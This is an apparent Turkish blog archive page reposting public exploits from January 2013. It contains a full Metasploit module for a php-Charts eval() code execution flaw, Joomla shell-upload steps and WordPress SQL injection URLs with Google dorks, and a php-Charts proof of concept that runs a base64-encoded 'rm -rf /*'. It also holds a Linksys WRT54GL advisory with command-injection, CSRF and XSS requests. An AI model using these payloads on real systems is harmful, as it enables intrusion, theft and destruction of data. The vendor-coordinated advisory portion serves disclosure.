Archive for 22 Ocak 2013

PHP-Charts v1.0 PHP Code Execution Vulnerability

PHP-Charts v1.0 PHP Code Execution Açığına ilişkin php exploit ve açığın kullanımına ilişkin bilgiler aşağıdadır.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "PHP-Charts v1.0 PHP Code Execution Vulnerability",
			'Description'    => %q{
				This module exploits a PHP code execution vulnerability in php-Charts
				version 1.0 which could be abused to allow users to execute arbitrary
				PHP code under the context of the webserver user. The 'url.php' script
				calls eval() with user controlled data from any HTTP GET parameter name.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'AkaStep', # Discovery and PoC
					'Brendan Coles <bcoles[at]gmail.com>' # msf exploit
				],
			'References'     =>
				[
					['OSVDB', '89334'],
					['BID', '57448'],
					['EDB',   '24201']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d\x22",
					'Compat'      =>
						{
						'PayloadType' => 'cmd',
						'RequiredCmd' => 'generic telnet bash netcat-e perl ruby python',
						}
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 16 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/php-charts_v1.0/']),
			], self.class)
	end

	def check

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		peer  = "#{rhost}:#{rport}"
		fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
		code  = Rex::Text.uri_encode(Rex::Text.encode_base64("echo #{fingerprint}"))
		rand_key_value = rand_text_alphanumeric(rand(10)+6)

		# send check
		print_status("#{peer} - Sending check")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
			})

			if res and res.body =~ /#{fingerprint}/
				return Exploit::CheckCode::Vulnerable
			else
				return Exploit::CheckCode::Safe
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def exploit

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		@peer = "#{rhost}:#{rport}"
		code  = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded+"&"))
		rand_key_value = rand_text_alphanumeric(rand(10)+6)

		# send payload
		print_status("#{@peer} - Sending payload (#{code.length} bytes)")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}wizard/url.php?${system(base64_decode(\"#{code}\"))}=#{rand_key_value}"
			})
			if res and res.code == 500
				print_good("#{@peer} - Payload sent successfully")
			else
				fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
				fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end

	end
end

Joomla com_collector Component Arbitrary File Upload Vulnerability

Joomla com_collector Component Arbitrary File Upload Açığı bulunmuş Olup açıkla ilgili olarak açığın bulunduyu yerler ve açığın kullanımı şu şekilde.

# Exploit Title:Joomla com_collecter shell upload
# Author: Red Dragon_al (Alb0zZ Team)
# Home :HackForums.AL,alb0zz.in
# Date :19/01/2013

# Category:: web apps
# Google dork: [inurl:index.php?option=com_collector]
# Tested on: Windows XP

# Download: http://www.steevo.fr/en/download
# Home Page: http://www.steevo.fr/

---------------------------------------
#      ~ Expl0itation ~      #
---------------------------------------

1- Google dork: [inurl:index.php?option=com_collector]

2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1

3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1

upload ur shell as : shell.php


                                           
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends.

#2013

WordPress plugin Ripe HD FLV Player SQL Injection Vulnerability

WordPress plugin Ripe HD FLV Player SQL Injection Açığı bulundu.
Açığığın oluşum yeri ve açığın kullanımına ilişkin açık bulucunun yorumları şu şekilde;

-------------------------------------------------------------------
Wordpress plugins - ripe-hd-player FD/SQL Injection Vulnerability 
-------------------------------------------------------------------
# Vendor: http://www.hitasoft.com/products.php 
#####
# Author => Zikou-16
# E-mail => zikou16x@gmail.com
# Facebook => http://fb.me/Zikou.se
# Google Dork => inurl:"/wp-content/plugins/ripe-hd-player/"
# Tested on : Windows 7 , Backtrack 5r3
####
 
#=> Exploit Info :
------------------
# The attacker can access to the database & get username & password ....... &  disclosure the Full Path 
------------------

#=> Exploit :
------------------
1#=> Full Path Disclosure :

http://[target]/[path]/wp-content/plugins/ripe-hd-player/index.php
http://[target]/[path]/wp-content/plugins/ripe-hd-player/installer.php 

-------
2#=> SQL Injection 

http://[target]/[path]/wp-content/plugins/ripe-hd-player/config.php?id=2'[inj3ct h3re]

------------------------------ <= Th3 End ^_^'

php-Charts Arbitrary PHP Code Execution Vulnerability

php-Charts Arbitrary PHP Code Execution Açığı bulunmuş olup açıkla ilgili olarak açık bulucunun açık hakkındaki açıklamaları aşağıdaki gibidir;

===============================================================
Vulnerable Software: php-chart_v1.0 
Official Site: http://php-charts.com/
Vuln: PHP Code Execution.
===============================================================
Tested On: Debian squeeze 6.0.6
Server version: Apache/2.2.16 (Debian)
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug  6 2012 20:08:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH

================================================================
About Software:
Php-Charts is basically a class which can be used to generate
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML) 
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,
user defined data). 
================================================================

About vuln:


root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
<?php
        require("../lib/phpchart.class.php");
        $color_var=array("txt_col","line_col","bg_color");
        $cname=$_GET["type"];
        $chart=new PHPChart($cname);

        foreach($_GET as $key=>$value)
        {
                if($value!="")
                {
                        if(in_array($key,$color_var))
                        eval('$chart->'.$key.'="#'.$value.'";');
                        else if($value=='yes')
                        eval('$chart->'.$key.'=true;');
                        else if($value=='no')
                        eval('$chart->'.$key.'=false;');
                        else if(is_numeric($value))
                        eval('$chart->'.$key.'='.$value.';');
                        else
                        eval('$chart->'.$key."='".$value."';");
                }
        }
        $chart->genChart();




Exploitation:

root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt
--2013-01-15 21:19:16--  http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified 
Saving to: “out.txt”

    [ <=>                                                                                        ] 1,917       --.-K/s   in 0s

2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]


Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
array(28) {
  ["DOCUMENT_ROOT"]=>
  string(28) "/etc/apache2/htdocs/hacker1/"
  ["GATEWAY_INTERFACE"]=>
  string(7) "CGI/1.1"
  ["HTTP_ACCEPT"]=>
  string(3) "*/*"
  ["HTTP_CLIENT_IP"]=>
  string(9) "127.0.0.1"
  ["HTTP_HOST"]=>
  string(11) "hacker1.own"
  ["HTTP_USER_AGENT"]=>
  string(21) "Wget/1.12 (linux-gnu)"
  ["HTTP_VIA"]=>
  string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"
  ["HTTP_X_FORWARDED_FOR"]=>
  string(9) "127.0.0.1"
  ["PATH"]=>
  string(4) "/bin"
  ["PHPRC"]=>
  string(14) "/etc/php5/cgi/"
  ["QUERY_STRING"]=>
  string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
  ["REDIRECT_STATUS"]=>
  string(3) "200"
  ["REMOTE_ADDR"]=>
  string(9) "127.0.0.1"
  ["REMOTE_PORT"]=>
  string(5) "60830"
  ["REQUEST_METHOD"]=>
  string(3) "GET"
  ["REQUEST_URI"]=>
  string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
  ["SCRIPT_FILENAME"]=>
  string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"
  ["SCRIPT_NAME"]=>
  string(30) "/wp/chart/chart/wizard/url.php"
  ["SERVER_ADDR"]=>
  string(9) "127.0.0.1"
  ["SERVER_ADMIN"]=>
  string(21) "webmaster@hacker1.own"
  ["SERVER_NAME"]=>
  string(11) "hacker1.own"
  ["SERVER_PORT"]=>
  string(2) "80"
  ["SERVER_PROTOCOL"]=>
  string(8) "HTTP/1.1"
  ["SERVER_SIGNATURE"]=>
  string(0) ""
  ["SERVER_SOFTWARE"]=>
  string(6) "Apache"
  ["UNIQUE_ID"]=>
  string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"
  ["PHP_SELF"]=>
  string(30) "/wp/chart/chart/wizard/url.php"
  ["REQUEST_TIME"]=>
  int(1358302756)
}

Notice: Undefined variable:  in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1

Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
root@debian:/tmp#


Example 2:

http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL

=====================ENDS HERE============================


================================================
           KUDOSSSSSSS
================================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
osvdb.com
websecurity.com.ua
1337day.com

to all Aa Team + to all Azerbaijan Black HatZ
+ *Especially to my bro CAMOUFL4G3 *
To All Turkish Hackers

Also special thanks to: ottoman38 & HERO_AZE
================================================

/AkaStep

Linksys WRT54GL Firmware 4.30.15 build 2 Multiple Vulnerabilities

Linksys WRT54GL Firmware 4.30.15 build 2 genel açığıl bulunmuş olup açıkla ilgili olarak aşağıda yer almaktadır.

Device Name: Linksys WRT54GL v1.1
Vendor: Linksys/Cisco

============ Vulnerable Firmware Releases: ============

Firmware Version: 4.30.15 build 2, 01/20/2011

============ Device Description: ============

The Router lets you access the Internet via a wireless connection, broadcast at up to 54 Mbps, or through one of its four switched ports. You can also use the Router to share resources such as computers, printers and files. A variety of security features help to protect your data and your privacy while online. Security features include WPA2 security, a Stateful Packet Inspection (SPI) firewall and NAT technology. Configuring the Router is easy using the provided browser-based utility.

Source: http://homesupport.cisco.com/en-us/support/routers/WRT54GL

============ Shodan Torks ============

Shodan Search: WRT54GL
=> Results 27190 devices

============ Vulnerability Overview: ============

* OS Command Injection
=> parameter: wan_hostname
=> command: `%20ping%20192%2e168%2e178%2e101%20`

The vulnerability is caused by missing input validation in the wan_hostname parameter and can be exploited to inject and execute arbitrary shell commands. With wget it is possible to upload and execute a backdoor to compromise the device.
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/OS-Command-Injection-param_wan_hostname.png

POST /apply.cgi HTTP/1.1
Host: 192.168.178.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.166/index.asp
Authorization: Basic xxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 734
Connection: close

submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=test&wan_hostname=`%20ping%20192%2e168%2e178%2e101%20`&wan_domain=test&mtu_enable=1&wan_mtu=1500&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=178&lan_ipaddr_3=166&lan_netmask=255.255.255.0&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1

=> Change the request method from HTTP Post to HTTP GET makes the exploitation easier:

http://192.168.178.166/apply.cgi?submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=test&wan_hostname=`%20ping%20192%2e168%2e178%2e101%20`&wan_domain=test&mtu_enable=1&wan_mtu=1500&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=178&lan_ipaddr_3=166&lan_netmask=255.255.255.0&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1

=> This setting is placed permanent into the configuration and so it gets executed on every bootup process of the device.

* For changing the current password there is no request to the current password

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.


POST /apply.cgi HTTP/1.1
Host: 192.168.178.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.166/Management.asp
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 299

submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=0&wait_time=4&need_reboot=0&http_passwd=pwnd&http_passwdConfirm=pwnd&_http_enable=1&web_wl_filter=0&remote_management=1&http_wanport=8080&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

* CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management:

http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=0&wait_time=4&need_reboot=0&http_passwd=pwnd1&http_passwdConfirm=pwnd1&_http_enable=1&web_wl_filter=0&remote_management=1&http_wanport=8080&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

* reflected XSS

=> parameter: submit_button

Injecting scripts into the parameter submit_button reveals that this parameter is not properly validated for malicious input.

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/reflected-XSS-01.png

POST /apply.cgi HTTP/1.1
Host: 192.168.178.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.166/Wireless_Basic.asp
Authorization: Basic xxxx=
Content-Type: application/x-www-form-urlencoded
Content-Length: 155

submit_button=Wireless_Basic'%3balert('pwnd')//&action=Apply&submit_type=&change_action=&next_page=&wl_net_mode=mixed&wl_ssid=test&wl_channel=6&wl_closed=0

* stored XSS (Access Restrictions -> Richtliniennamen eingeben (place the XSS) -> Zusammenfassung (Scriptcode gets executed)

=> parameter: f_name

Injecting scripts into the parameter f_name reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods like CSRF for inserting the malicious JavaScript code.

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/stored-XSS-Filters.png

=> Change the request methode from HTTP Post to HTTP GET makes the exploitation easier:


http://192.168.178.166/apply.cgi?submit_button=Filters&change_action=&submit_type=save&action=Apply&blocked_service=&filter_web=&filter_policy=&f_status=0&f_id=1&f_status1=disable&f_name=123"><img%20src%3d"0"%20onerror%3dalert("XSSed1")>&f_status2=allow&day_all=1&time_all=1&allday=&blocked_service0=None&blocked_service1=None&host0=&host1=&host2=&host3=&url0=&url1=&url2=&url3=&url4=&url5=

============ Solution ============

Upgrade your router to the latest firmware version with fixes for XSS and OS Command Injection vulnerabilities.

Fixed Version: Ver.4.30.16 (Build 2)
Available since 10.01.2013

Download: http://homesupport.cisco.com/en-eu/support/routers/WRT54GL

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-001
Twitter: @s3cur1ty_de

============ Time Line: ============

September 2012 - discovered vulnerability
03.10.2012 - Contacted Linksys and give them detailed vulnerability details
03.10.2012 - Linksys responded with a case number
11.10.2012 - Status update from Linksys
23.10.2012 - Linksys requested to sign the Beta Agreement for testing the Beta Firmware
29.10.2012 - Send the Beta Agreement back
29.10.2012 - Linksys gives access to the new Beta Firmware
30.10.2012 - Checked the new firmware and verified that the discovered XSS and OS Command Injection vulnerabilities are fixed
30.10.2012 - Linksys responded that there is no ETA of the new firmware
17.01.2013 - Linksys informed me about the public release of mostly fixed version (XSS, OS Command Injection fixed)
18.01.2013 - public release
===================== Advisory end =====================